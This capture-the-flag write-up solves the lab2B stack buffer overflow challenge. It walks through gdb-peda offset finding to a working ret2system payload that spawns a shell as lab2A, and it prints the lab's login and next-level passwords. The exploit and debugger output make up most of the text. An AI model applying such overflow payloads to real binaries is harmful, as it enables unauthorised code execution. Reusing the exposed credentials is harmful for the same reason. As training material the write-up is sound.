Lab2B Write-up (Medium)


Lab2B is quite similar to the previous challenge, but the exploit we have to write will be a bit trickier. First, log into the Lab02 as Lab2B (lab2B:1m_all_ab0ut_d4t_b33f) and go to the challenges folder:

$ ssh lab2B@<VM_IP>
$ cd /levels/lab02/

Now we can check what this program does:

# Usage
lab2B@warzone:/levels/lab02$ ./lab2B
usage:
./lab2B string
# Testing
lab2B@warzone:/levels/lab02$ ./lab2B Test
Hello Test

Here, the program takes our argument and prepend the string “Hello “ to it.

Source Code Analysis

Let’s take a look at the source to get a better view of what happened here.

char* exec_string = "/bin/sh";

void shell(char* cmd)
{
	system(cmd);
}

void print_name(char* input)
{
	char buf[15];
	strcpy(buf, input);
	printf("Hello %s\n", buf);
}

int main(int argc, char** argv)
{
	if(argc != 2)
	{
		printf("usage:\n%s string\n", argv[0]);
		return EXIT_FAILURE;
	}

	print_name(argv[1]);

	return EXIT_SUCCESS;
}

Like the previous level, the main issue here is that the user input size is not checked and we’ll be able to overflow buf quite easily through the use of the strcpy() function. We can also see the shell() function which can execute any provided command and a char pointer, exec_string, containing “/bin/sh”.

There are multiple way to solve this one, but we’ll stick with the way the developer of this challenge want us to do it. It means overwriting the print_name() return address with the call to the system() function and pass exec_string as an argument for this function.

Dynamic Analysis

So, first we need to find a way to overflow the return address and pass an argument on the stack (exec_string). Here, we will use PEDA pattern features to help us.

gdb-peda$ pattern arg 50
Set 1 arguments to program
gdb-peda$ run
Starting program: /levels/lab02/lab2B 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
Hello AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x39 ('9')
EBX: 0xb7fcd000 --> 0x1a9da8 
ECX: 0x0 
EDX: 0xb7fce898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41412841 ('A(AA')
ESP: 0xbffff6a0 ("AA)AAEAAaAA0AAFAAbA")
EIP: 0x3b414144 ('DAA;')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x3b414144
[------------------------------------stack-------------------------------------]
0000| 0xbffff6a0 ("AA)AAEAAaAA0AAFAAbA")
0004| 0xbffff6a4 ("AEAAaAA0AAFAAbA")
0008| 0xbffff6a8 ("aAA0AAFAAbA")
0012| 0xbffff6ac ("AAFAAbA")
0016| 0xbffff6b0 --> 0x416241 ('AbA')
0020| 0xbffff6b4 --> 0x0 
0024| 0xbffff6b8 --> 0x0 
0028| 0xbffff6bc --> 0xb7e3ca83 (<__libc_start_main+243>:	mov    DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x3b414144 in ?? ()
gdb-peda$ pattern search
Registers contain pattern buffer:
EIP+0 found at offset: 27 ; offset to overwrite RET
EBP+0 found at offset: 23
Registers point to pattern buffer:
[ESP] --> offset 31 - size ~19 ; offset to write an argument
Pattern buffer found at:
0xb7fd8006 : offset    0 - size   50 (mapped)
0xbffff681 : offset    0 - size   50 ($sp + -0x1f [-8 dwords])
0xbffff895 : offset    0 - size   50 ($sp + 0x1f5 [125 dwords])
References to pattern buffer found at:
0xbffff1d0 : 0xbffff681 ($sp + -0x4d0 [-308 dwords])
0xbffff660 : 0xbffff681 ($sp + -0x40 [-16 dwords])
0xbffff674 : 0xbffff681 ($sp + -0x2c [-11 dwords])
0xbffff758 : 0xbffff895 ($sp + 0xb8 [46 dwords])
gdb-peda$ 

Using the pattern search command, we can see how many bytes we ne to write in order to overwrite the return address as well as the address pointed by ESP:

  • EIP+0 found at offset: 27
  • [ESP] –> offset 31 - size ~19

Here, 27 bytes are necessary to overwrite the return address. Also, as ESP is pointing at offset 31, we can provide a pointer to /bin/sh right after the return address. Let’s write a quick proof of concept.

gdb-peda$ run `python -c 'print 27 * "\x41" + "\x42\x42\x42\x42" + "\x43\x43\x43\x43"'`
Starting program: /levels/lab02/lab2B `python -c 'print 27 * "\x41" + "\x42\x42\x42\x42" + "\x43\x43\x43\x43"'`
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x2a ('*')
EBX: 0xb7fcd000 --> 0x1a9da8 
ECX: 0x0 
EDX: 0xb7fce898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff6b0 ("CCCC")
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff6b0 ("CCCC")
0004| 0xbffff6b4 --> 0xb7fff000 --> 0x20f34 
0008| 0xbffff6b8 --> 0x804874b (<__libc_csu_init+11>:	add    ebx,0x18b5)
0012| 0xbffff6bc --> 0xb7fcd000 --> 0x1a9da8 
0016| 0xbffff6c0 --> 0x8048740 (<__libc_csu_init>:	push   ebp)
0020| 0xbffff6c4 --> 0x0 
0024| 0xbffff6c8 --> 0x0 
0028| 0xbffff6cc --> 0xb7e3ca83 (<__libc_start_main+243>:	mov    DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()

Perfect, as we can see EIP is now equal to 0x42424242 and the first value on the stack is 0x43434343. Now, we have the control over the stack to write our return address and a pointer to /bin/bash. Let’s find the real values.

First, we need the address of the call to the system() function present in the shell() function.

gdb-peda$ disas shell
Dump of assembler code for function shell:
   0x080486bd <+0>:	push   ebp
   0x080486be <+1>:	mov    ebp,esp
   0x080486c0 <+3>:	sub    esp,0x18
   0x080486c3 <+6>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080486c6 <+9>:	mov    DWORD PTR [esp],eax
   0x080486c9 <+12>:	call   0x8048590 <system@plt>
   0x080486ce <+17>:	leave  
   0x080486cf <+18>:	ret    
End of assembler dump.

Here, the call to the system() function is at the address 0x080486c9. Then, let’s find a pointer to /bin/sh in memory:

gdb-peda$ searchmem /bin/sh
Searching for '/bin/sh' in: None ranges
Found 3 results, display max 3 items:
lab2B : 0x80487d0 ("/bin/sh")
lab2B : 0x80497d0 ("/bin/sh")
 libc : 0xb7f83a24 ("/bin/sh")

So, 0x080486c9 will be the return address and 0x80487d0 the string pointer.

Solution

Now that we have analyzed how the input is handled, let’s try it again and solve this challenge.

lab2B@warzone:/levels/lab02$ ./lab2B `python -c 'print 27 * "\x41" + "\xc9\x86\x04\x08" + "\xd0\x87\x04\x08"'`
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAЇ
$ whoami
lab2A
$ cat /home/lab2A/.pass
i_c4ll_wh4t_i_w4nt_n00b

Almost easy. Next challenge!

Updated: